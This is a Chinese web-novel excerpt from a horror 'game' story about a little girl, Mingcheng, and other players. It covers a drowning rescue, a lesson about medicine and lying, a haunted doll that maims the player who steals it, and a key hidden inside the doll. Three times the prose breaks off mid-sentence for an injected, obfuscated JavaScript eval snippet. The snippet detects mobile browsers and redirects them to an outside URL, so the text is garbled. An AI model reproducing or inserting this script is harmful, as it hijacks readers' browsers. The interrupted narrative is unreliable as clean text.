章书苦笑:“我们倒是想走,可任务要求得陪李晓阳度过这个假期啊,哪里躲得过。” 就在这时,外头跑来一个气喘吁吁的人影。 “不好了!” “赵明明落水了,明澄也不见了!” 是林小楠。 一行人立即跟着他往湖边赶。 “明野呢?” “蒋明野好像去追什么东西了,也不在。” 到了湖边,只有张立新李久几个人正焦急地候着。 “你们终于来了!太邪门了,赵明明掉下水之后就立刻没动静了,我们几个要么不会水,会水的又不敢下去。” 说话间,湖面突然咕嘟咕嘟涌起小气泡。 “水里好像有东西要出来了!” 众人立时警惕地望着水面。 下一瞬,一颗白嫩的小光头破水而出。 接着是一个男人。 “是明澄!” “她拉着的是赵明明!” 众人七手八脚将明澄和赵明明拉上了岸。 明澄状态倒还好,赵明明看上去就不知死活了。 徐望舒立刻做了急救措施,在吐出些湖水后,他虽仍未醒,但状况好些了。 蒋明野同步回来了,看到躺在湖边的赵明明,皱了皱眉,又看了眼明澄,确认她无事。 邬纵问:“你刚才追什么去了?” “一只猫。” 他烟瘾有点犯了,忍了忍,说:“先前我钓上来一条鱼,发现鱼肚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207434|181291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子里有根手指,不过被它叼走了。” “我追着那只猫,后来它跑上了山,我就没再追了。” “祠堂的后门也连着进山的小路,”邬纵看了眼山的方向。 一切都指向那里,“看来这山,我们早晚还要再去一趟。” 明澄捕捉到关键词,抬头:“好呀好呀,那我也可以再去看看王密叔叔了。” 林小楠揉揉她的小脸:“那王密得连夜搬迁了。” 几人将赵明明抬回了屋子。 赵明明还昏迷着,但好在也没有生命危险,游戏系统也没有播报他们再少一个的消息。 “不过好端端的,他怎么会突然掉下水?” 林小楠看着他无知无觉躺在床上的样子,唏嘘:“当时下过雨,我看到他在湖边脚滑了一下,也是倒霉了。” 徐望舒看向明澄:“那你又是为什么下了湖?” “我看到有条鱼在水草边翻肚皮,想把它放回水里,就去了湖里,但是鱼不见了。” “明澄,不可以独自下水,很危险。” 明澄没有说话了。 林小楠忙说:“不过明澄应该算是救了赵明明吧?好样的,太厉害了。” “那在水下又发生了什么?” 明澄抬起头:“水下有两个阿姨在偷鱼。” “?” “她们偷鱼,被你撞见了?”一旁的李久来了兴趣:“长什么样?” “阿姨有着长长黑黑的头发,脸白白的,眼睛大大的,还对我笑。” 李久憨憨地笑:“听上去还挺好看的,个子高吗?” “不知道呢。” “没看清吗?” “不是,阿姨只有头。” 李久被呛得唾沫星子咳了一地:“!!!” 邬纵一脸淡定:“明澄,下次描述你见过的叔叔阿姨,记得先说身体框架。” “好。”明澄乖乖答应。 李久看明澄的目光像是乞丐见到了骨骼清奇的练武奇才:“只有头,还两个,你居然带着赵明明活着回来了?!” “那‘阿姨’没有为难你?” 明澄思索:“阿姨见到娃娃,就离开了。” 徐望舒:“是跟着你的那个娃娃?” 明澄点点头,掏出那只湿透了的娃娃。 可任他们怎么看,都只是个普普通通的小玩偶,灰朴朴的。 只是漆黑的眼睛乍一看上去有些诡异。 孙天惊奇:“这么说来,这鬼娃娃好像不仅不害人,还保护起人了?” “明澄,这娃娃是你在山上捡到的,对吗?” “对。” “看来湖底的无头……无身女人也跟那山有关啊。” 就在这时,李大爷溜溜达达跟李晓阳回来了,他们没再继续这个话题。 “这是怎么了?”李大爷问。 “钓鱼的时候不小心落水了。” 徐望舒继续拿干毛巾给明澄擦头:“在水里泡了这么久,可别生病了,不然就得吃药了。” 明澄一下子抬起脸。 昨夜邬纵说过的话在她耳边闪过——药很好吃。 纠结了一番后,“叔叔,其实我,我生病了。”她眼巴巴地说。 徐望舒立刻问:“哪里不舒服?” 明澄想了想,昨晚林小楠说的是:“肚子疼。” 说完,她对了对手指,满脸期待:“可以吃药吗?” 徐望舒:“我还是第一次见对吃药这么积极的孩子。” 李大爷关切地插话:“孩子,肚子疼啊?” 他想了想:“家里还有黄连素片,我肚子疼的时候就吃这个,管用,吃这个吧?” 明澄:“嗯!明澄就要吃黄连素片!” 13. 第 13 章 明澄和徐望舒跟着李大爷去了客厅。 他从电视机底下的柜子里取出了一个饼干盒子。 明澄趴在桌子上,看着铁盒上面的图片,舔了舔嘴。 李大爷注意到,顿时笑了,“这里头装着的可不是什么好吃的,都是药!” 明澄没有丝毫泄气,喃喃:“也是好吃的。” 李大爷翻了几下,拿出个小瓶子,听晃动时的声音,里头还装了不少药片。 他将瓶子放在桌上,打开了说明书,离远些看了看:“让我看看,孩子应该吃多大剂量。” 徐望舒也帮他找着。 明澄盯着瓶子,小心翼翼地将盖子打开。 里面是一堆黄色的小片,虽然气味有点奇怪,但是看起来跟糖果一样。 她突然问:“爷爷,黄连素片,贵吗?” “家里的这种不贵,便宜着呢。”李大爷回完,嘀咕:“哦,找到了,你这个年纪,一次只能吃一片。” 话音刚落,明澄拿着药瓶,倒出了好多片。 “明澄!不行!”徐望舒连忙制止。 可晚了一步,她动作奇快,已经一股脑全塞进了嘴里。 一瞬间,明澄的眼睛睁大了。 巨大的苦意成团爆炸,从舌尖直冲她天灵盖,然后迅速扩散,攻击着她身体的每一个部位,直到四肢百骸都麻了起来,她的眼睛也睁不开了。 徐望舒迅速抠着她的嘴:“快吐出来!” 药片全被吐了出来。 明澄呆了呆,接着,痛彻心扉的哭声响起: “一点,一点都不好吃——” 明澄哭得好伤心。 这伤心的哭声把其他人也都引了出来。 “怎么了?” “明澄怎么又哭了?” 徐望舒解释:“明澄刚才抓了一大把药塞进嘴里,被苦得哭了。” 邬纵突然抬眼,想到什么,按了按太阳穴,但还是先去倒了杯水来。 明澄捧着大水杯,脸埋进去,顶着两包眼泪喝完,可舌头还是苦的,苦得发麻。 她好难受,只能像小狗一样哈气。 徐望舒皱眉,之前看她反应就觉得不对劲,“明澄,你真的肚子疼吗?” 他问完,明澄的眼泪就连成了串掉下来,小胖手擦掉,又流下来,说话也不成句:“肚子不疼,对不起,因为明澄想吃药,所以说谎了,明澄是坏孩子。” 徐望舒拿着纸给她擦眼泪,“明澄当然不是坏孩子,不过,你怎么会突然想要吃药呢?” 她将手背过身去,抽抽噎噎说:“因为,因为我以为,药很好吃,好想吃。” 他眯起眼。 “邬纵叔叔,告诉我,药好吃,可是,只有生病了,才能吃。” 数道视线幽幽望向邬纵。 哄骗小孩?这可完全不像邬纵的风格。 徐望舒:“队长,你这可就有点过分了啊。” 他闭了闭眼,也生出后悔:“她问我药好不好吃,我怕说不好吃,以后生病了她会不愿意吃药。” 他没有育儿的经验,只是有这样的印象,谁知道明澄馋到一听说好吃就想吃的地步。 众人叹气。 感受着口腔里麻木的苦意,明澄低下头,白嫩的脸上挂着两道泪痕:“明澄以后再也不说谎了。” 吃晚饭的时候,大家都尽量照顾着明澄,可明澄也没有了之前吃饭的干劲,垂着小脑袋,话也少了。 今晚也没有下雨。 吃过了饭,明澄独自坐在门口的台阶上,脸蛋趴在臂弯里,看着院子里种着的菜。 旁边坐下来一个人,她看了眼,是邬纵。 她无精打采地转过脸去。 她已经明白了,邬纵说药好吃都是哄她的。 她不该说谎,邬纵叔叔也不应该。 “明澄,对不起。”他眉头微微扬起,诚恳的声音比平时低了两个度。 明澄稍稍转过来一点脸,露出小耳朵。 邬纵的喉结动了动,“是叔叔错了。” 明澄短短的手指扒拉了一下膝盖。 邬纵垂眸看她,“还苦吗?” 明澄沉默着点了点头。 真的很难受。 突然,鼻尖嗅到了一股香甜的味道,她又抬起一些头,悄悄往旁边看去。 眼前出现了一只小玻璃罐,浓郁的蜂蜜在里头流动如暗金。 明澄“唰”得一下坐起了身。 那罐子朝她的方向伸了伸。 明澄看看他,接了过来。 “还生气吗?” 明澄高兴地摇摇头,“不生气了,邬纵叔叔是好人。” 邬纵锐利的眉眼里闪过淡淡笑意。只是一点吃的,就能让她打上好人的戳了。 他垂眼,看着明澄舀起一小勺蜂蜜送进嘴里,抿紧唇瓣,努力让甜意浸泡每一寸口腔,覆盖之前的苦,柔软的腮帮子鼓鼓的。 她突然顿了顿,朝他也示意了一下,邬纵摇摇头。 明澄小心地看了眼邬纵,屁股往旁边挪了挪。 她觉得有点怕,总感觉邬纵叔叔的目光好像要吃小孩。 邬纵淡然地移开了视线。 “知道蜂蜜怎么来的吗?” “嗯?”明澄歪头。 “采蜂蜜,想去吗?” 明澄眼睛一亮,用力点头:“想!” “明天带你去。” 明澄又觉得,其实她也可以接受给邬纵叔叔吃一小口胳膊的。 明澄在纠结的时候,其他几人去看了看赵明明。 他依旧没醒,脸色苍白,偶尔还会像梦魇一样抽搐着身体,看上去极为痛苦。 几人叹息。 “那是什么?”眼尖的章书指着他的耳朵。 “好像,有根线头。”孙天仔细看了看,说道。 李久也凑过去,然后伸出手,从他耳朵眼里捏着那根线头往外扯。 越扯越长,越扯越长,途中赵明明又抽搐了一下,最后,李久扯出了一根长长的黑线—— 他吓得立马松开了手,在裤子上使劲抹了抹:“是一根头发!” 这么长的头发,不知自他的耳朵里延伸去了身体何处。 “这应该是在湖底……” 几人都是一惊,接着是胆寒,不敢仔细想赵明明在湖底都经历了什么。 “算了别想了,还是快回去睡觉吧。” 该睡觉了,明澄只吃了一点点蜂蜜,就珍惜地放好了。 她高高兴兴地跑回了房间,想给娃娃也看一看蜂蜜。 不知道娃娃能不能吃。 她冲进房间,径直看向窗台,出门前她将娃娃放在那里晾干的。 随即笑容却凝固在了脸上。 窗台上是空的,娃娃不见踪影。 她困惑地眨了眨眼,开始在房间里翻找。 可是找遍了每一处,哪里都没有。 明澄着急地跑出门,刚好撞上了邬纵。 他及时稳住这颗小炮.弹,见她表情不对,问:“怎么了?” “叔叔,娃娃丢了。” 虽然最初捡起她,是为了捡垃圾给幼儿园的审核老师留下好印象,可是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207435|181291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起待了这么久,她都给她缝了衣服,明澄已经打心眼里觉得她是自己的小伙伴了。 更别说不管她走到哪里,娃娃都会跟着她,从来不会离开,明澄已经习惯了。 想到这里,明澄的眼泪又掉了下来。 邬纵也在她的房间里找了一遍,确实没有,牵着她出去,沿着记忆里走过的路又走了一遍。 几个玩家见了,都走出来问:“邬纵,明澄?你们这是要去哪儿啊?” “你们看见明澄的娃娃了吗?” 众人一愣,“就是特别诡异的那个?怎么,是不见了吗?” 孙天回忆了一下:“我记得,在湖边的时候明澄还拿出来过吧?是之后忘了收起来了吗?” 明澄眼泪汪汪地摇头:“收起来了的。” “那然后呢?带回来了吗?” “嗯。” “房间里找过了吗?床底下啊,枕头底下啊之类的地方。” 明澄哽咽:“都找过了,都没有。” 娃娃就好像凭空消失了一样。 他们其实倒不意外,这娃娃出现得突然而诡异,还有点自主性,现在消失了也没什么奇怪的。 不过看明澄抽泣的模样,李久劝慰:“明澄,别难过,其实没了也好,再怎么说也是鬼物,总放在身边多瘆得慌。” 孙天点了下头:“是啊,明澄,别哭了,要不叔叔明天去看看还有没有卖的,再给你买一个?” 她断断续续说:“谢谢叔叔,可是,我不要别的娃娃了。” 明澄真的很伤心。 比被骗了还要伤心。 比吃了很苦的药还要难受。 她的眼泪再也止不住了,边往回走,边落泪。 邬纵蹲下来,视线与她平齐。 粗粝的拇指轻轻抹过她眼下,他语气沉着:“别担心,哪怕走丢了,娃娃也会找回来的。忘了吗,我和望舒叔叔都拿走过娃娃,结果最后,她还是出现在了你身边。” 明澄努力忍住眼泪,点点头。 “只要睡一觉,等到明天,她就会回来。” “真的吗?” “嗯。” “好。”她答应。 明澄今天哭了两场,眼睛彻底肿了起来。 徐望舒找李大爷煮了两个鸡蛋,放在她眼睛上滚。 不远处的墙边,蒋明野斜靠着看着。 他手里抛动着什么东西,抛了两下,便随手丢到了明澄怀里。 明澄低头一看,是一颗糖。 再抬头,只看到蒋明野离开的背影。 明澄乖乖地任由徐望舒给她敷眼睛,闻着熟鸡蛋的香味,想着那颗糖,心情也终于平静了下来。 “好了,回去睡觉吧,娃娃一定会回来的。” 几个普通玩家也都回到了各自的房间。 孙天关上房门,疲惫地躺倒在床上,大脑开始闪回今天发生的一切。 祠堂里,章书在水中看到的人脸,还有湖底的头颅,赵明明到现在还没醒,而徐望舒居然说这种可怕的异状,后面还会越来越频繁。 他是真的害怕了。 从看到王密的死状后,他稍微打个盹都会做噩梦,梦里全是王密用那可怖的目光死死盯着他。 虽然以前看的直播也吓人,可到底还隔了层屏幕,现在真进来了,他根本习惯不了这种日子,邬纵他们再强,也根本无法顾到每一个人。 他想活下去,所以…… 孙天缓缓摸了摸裤子里那个只有手心一半大小的娃娃: “既然你会保护她,那应该,也能保护我吧?” 14. 第 14 章 孙天做好了心理准备,将口袋里的娃娃拿了出来。 半湿半干的娃娃了无生气地平躺在床上,无机质的眼睛盯着天花板。 很正常。 孙天松了口气。 要知道,他拿走这个娃娃的时候,也是承受着不小的心理负担的,毕竟这个娃娃着实有些诡异。 不过现在看来,好像也没那么邪乎。 说不准这其实就是游戏给玩家准备的一把保护伞,只不过明澄运气好,先一步捡到了。 他放心地将娃娃放到了枕边。 【哈?居然是孙天把娃娃偷走的?可他安慰明澄的时候,还有帮她找娃娃的时候,明明都很真啊?】 【就是他,我在孙天的直播间看着他偷偷进了明澄的房间,把娃娃拿走的,演技确实不错。】 【孙天拿那个娃娃干什么?】 【没看白天的直播吗?那个娃娃今天好像是在湖里救了明澄和赵明明。而且明澄这种看上去特别软萌好欺负的小孩,能安然无恙活到现在,也就是靠着娃娃的力量才合理吧。】 有了这把保护伞,孙天提着的心终于放下了,他安然进入了梦乡。 不知过了多久,半梦半醒间,孙天觉得自己全身好似被什么东西压着,无法动弹。 他头脑立刻清醒过来,想起了鬼压床三个字。 孙天逐渐觉得呼吸不过来了。 怎么会这样…… 娃娃…… 对了,娃娃呢? 明明娃娃会保护他的! 他身体无法移动,于是斜着眼睛,努力看向枕边的娃娃,却发现她似乎也在看着自己。 黑色的眼睛透着诡谲,她那只缝线的嘴角,好似微微扬起了。 孙天的心里瞬间升起莫大的凉意与恐惧。 娃娃,是这只娃娃搞的鬼! 他张大了嘴,想要喊救命,可是一个字都说不出,只能呼哧呼哧地喘气。 那只娃娃就这么静静欣赏着他的恐惧与挣扎。 随后,一缕头发缓缓延伸向他。 孙天意识到什么,眼中透出求饶。 求求了,他愿意把她还回去,求求了,他再也不招惹明澄了,不要—— “啊——!”粗哑痛苦的尖叫声划破了喉咙,也划破了夜空。 邬纵是第一时间进的门。 他与蒋明野,徐望舒三人猜测娃娃是被某个玩家拿走的,在确定了几个怀疑对象后,他们便开始守着等待。 推门进来的那一刻,邬纵闻到了浓重的血腥味。 房间是昏暗的,然而还是能清楚地分辨出那些血迹。 天花板上一道喷溅的暗色,床单,地板……都铺上了一道道这样的暗色。 满屋都是血。 听到动静的其他玩家也循声走了过来。 手电筒的灯光亮起,几人第一眼便看到床上的血肉淋漓。 孙天的一只胳膊和一截小腿被不知道什么东西给齐根斩断,丢在一旁。 他的胸口还有些微弱起伏,能听到痛苦的呻.吟。 娃娃则静静地躺在床头,没有沾染上一滴血。 玩家们都震惊地捂住了嘴。 既是为竟是孙天拿走了娃娃,也是为孙天此时的惨状。 来得及时,蒋明野做好了止血包扎,“游戏结束前应该死不了。” 只要死亡人数不增加就好。 随后冷眼看着他:“拿了不该拿的东西,总要付出代价。” 孙天半是晕厥半是痛醒着,嘴里间歇低声哀嚎,模糊间听到他的话,咬着唇舌,眼中闪过不甘。 【蒋明野说这话太偏心了吧?孙天没有伤害别人,他只是想活命,想要个保障,就要为此付出这么惨重的代价吗?谁不想好好活着啊!他只是没有明澄那么幸运而已。】 【想要保护自己没问题,关键他是靠“偷东西”来实现,现在也就是偷鸡不成蚀把米,被反噬了罢了,可如果娃娃真的是个保命符呢?被他拿走了,那不等于把明澄给害了?】 【他本来也理亏,没什么好争论的,能留一条命已经是万幸了。我比较感兴趣的是,这个娃娃难道就没有主动伤害过明澄吗?毕竟她看起来真的很凶残。】 明澄同样听到了动静,不过正要出来看,就被徐望舒给哄了回去,谁都不希望明澄看到那样的场面。 后半夜,孙天的情况稳定下来,众人才沉默着回了房间。 邬纵三人还没睡。 徐望舒将门关上,“李晓阳半夜出来看了一眼,又回房间去了,没再出来,不过,看上去很愤怒。” 邬纵手里拿着娃娃,仔细打量。 “凑这么近,你就不怕她把你的胳膊也给割断?”蒋明野说。 他轻笑一声,只说了一句:“如果她想,其实她可以直接杀了孙天。” 徐望舒和蒋明野都明白他的言下之意。 这只娃娃没有下死手,应该是因为明澄。 她绝不是什么无害的吉祥物,但似乎也不是完全与他们站在对立面的邪恶鬼怪。 突然,邬纵的手一顿,捏了捏娃娃左心口的位置。 娃娃内里的棉花充足,之前一直蓬松着,摸不太出来,现在湿过水,没有那么充实了,便能摸出,里头放着一个硬物。 硬物很小,不仔细探查很容易错过。 形状……像是一把小钥匙。 邬纵将娃娃翻过身去,开始仔细寻找针线下的隐秘入口,终于,他看到了一条拉链锁头,隐藏在头发底下。 三人对视一眼,邬纵将拉链拉开,里面立刻掉出来一个银色的小东西。 仔细看去,那确实是一把精巧的钥匙。 蒋明野拿起来翻了翻,“不是房间门的钥匙。” “应该是某种小锁的钥匙。”徐望舒也看了眼。 不过显然,现在他们还无法找到与这把钥匙相匹配的那把锁。 仔细看过后,邬纵又将钥匙放回了娃娃里,重新将拉链拉上。 这把钥匙在副本里肯定是个重要物件,放在这具娃娃的身体里保管是最保险的,而娃娃又只会跟着明澄。 这样最好。 蒋明野突然开口:“你明天要带小崽子去偷蜂蜜?” 邬纵懒得看他,“偷?那是村里废弃的养蜂房,我报备过。” 说到明澄,徐望舒的表情松快了点,叹息:“明澄今天哭惨了,刚才看到她眼睛还是肿的。” 他一时出神,“不知道明澄在现实里住在哪儿。你们都对她好一点吧,等出了游戏,以后都不一定有时间见面了。尤其是你,明野。” “我有什么问题吗?你该庆幸来的人是我。”蒋明野枕着手臂,半阖着眼,“如果进副本的是楚寒,可半点都不会搭理她。” 邬纵没参与,起身,“记得看好孙天。” 这一晚他的目光里没多少歉意,恨意倒是不少。 蒋明野“嗯”了一声,“不会让他再出来了。” 第二天,明澄早早地醒了。 一睁眼,就立刻看向枕头旁边。 娃娃真的回来了!安安静静地躺在床上,就像从未丢失过一样。 明澄翻身坐了起来,抱着娃娃跑了出去。 “叔叔!娃娃真的回来了!” 徐望舒笑了笑,摸摸她的头,“那就好。” 明澄脸上的笑容回来了,连食欲也更盛了。 徐望舒看了一会儿,问:“明澄在外面的时候,也吃得这么多吗?” 明澄的手慢了半拍,然后摇了摇头。 他眉眼凝起,“难道明澄一直吃不饱吗?” 明澄好像有些茫然。 “饱是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207436|181291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么感觉呢?” 她垂下眼,“师父说,要学会克制。” 明澄看着自己已经盛过很多次的饭碗,小心翼翼问:“明澄有克制了,吃这么多可以吗?” 徐望舒看着她小心的目光,心里有些难受。 原本以为她是在家里吃不饱,才会在这里吃这么多,现在听她一说,即使吃了这么多,也根本没饱。 而她这个什么都不懂的年纪,居然已经在克制自己的欲.望了。 想起第一次见她吃饭,邬纵只是挡了下,她就立刻放下碗筷,也是这样小心询问,便再说不出否定的话,“当然可以,再多吃点也没关系,叔叔付过钱。” 但听她对师父的描述,师父为人不错,叫她克制,应该也是为她好吧。 听到徐望舒说可以,明澄便雨过天晴,继续大口扒起了饭。 吃过了饭,邬纵信守承诺,带着明澄去采蜂蜜了。 蜂房在村尾,就在那棵槐树附近。 木门虚掩着,推开,院子里就能看见几只零散的蜂箱,不过都是空的。 存着蜜的蜂箱都在后院,连着一小片花田。 他示意明澄跟上。 两人几步穿过侧面的回廊。 明澄好奇地看着周围偶然飞来的蜜蜂。 它们大多会绕过她,可其中一只却停在了她藕节似的胳膊上。 明澄一顿,盯着那只微微振动的小蜜蜂。 下一瞬,鼻尖突然嗅到了一股无比浓郁的香甜味道,是蜂蜜的味道,比昨天邬纵送给她的还要浓郁,让她仿佛身处一只大蜂箱里。 明澄幸福地眯了眯眼,有些醉蜜了。 她舔了舔嘴唇,过了一会儿回过神来,轻轻放飞了小蜜蜂。 这才发现邬纵已经走到前方拐弯处了,她连忙小跑追过去。 邬纵走出几步就发现明澄没跟上,回过头,耐心地等着她。 很快,她跑了过来,小手交握,“对不起叔叔,我刚才在看小蜜蜂。” “没关系。” 还没动身,邬纵察觉手边被碰了碰。 低下头,明澄伸出一根小手指,戳了戳他的手,仰起头看他:“叔叔牵着明澄走。” 他眼中泛起些许笑意,没说话,伸过去自己的食指,看着她握住。 邬纵放慢了脚步,任由那只小手晃晃悠悠地荡着。 片刻后,邬纵带着她来到了房子的后面,视野一下子开阔了。 他低头看着明澄,她果然“哇”了一声,望着那些蜂箱,脸上满是兴奋。 尽管这里的蜜蜂已经不多了,但他还是找了只蜂帽给明澄戴上。 邬纵打开蜂箱,拿出里头的蜂脾,轻轻抖了抖,抖落了上面的蜜蜂。 又看了眼旁边,明澄寸步不离地跟着他,好像生怕再跟丢了,小手也扯着他的衣角。 邬纵拿了把刮蜜刀,带着蜂脾到桌边坐下。 明澄连忙也在旁边坐下了,靠着他趴在桌子上,摘下帽子,睁大了眼看。 蜂脾不那么饱满,所以蜜不算多,他用刮蜜刀压着,里头的蜜便缓缓流淌下来,落入杯子里。 邬纵行动时,明澄柔软的脸蛋倚靠着他的胳膊,像块快要融化的棉花糖,又像一只粘人的猫咪幼崽。 余光里,那张带着婴儿肥的脸颊上,细小的绒毛被风微微吹动。 他敛起眸子,放下了蜂脾。 蜂蜜不算多,只集了一小杯,邬纵递给明澄。 明澄乖巧地推回去,摇摇头,抬起小脸,笑着说:“谢谢叔叔,都给叔叔吃,明澄不吃。” 邬纵笑了一下,放下了杯子。 接着反手扣住了她的肩膀。 那双大眼睛茫然地看向他。 “不用再装了,你不是明澄。”他淡声说。 “明澄不可能说出那句话。”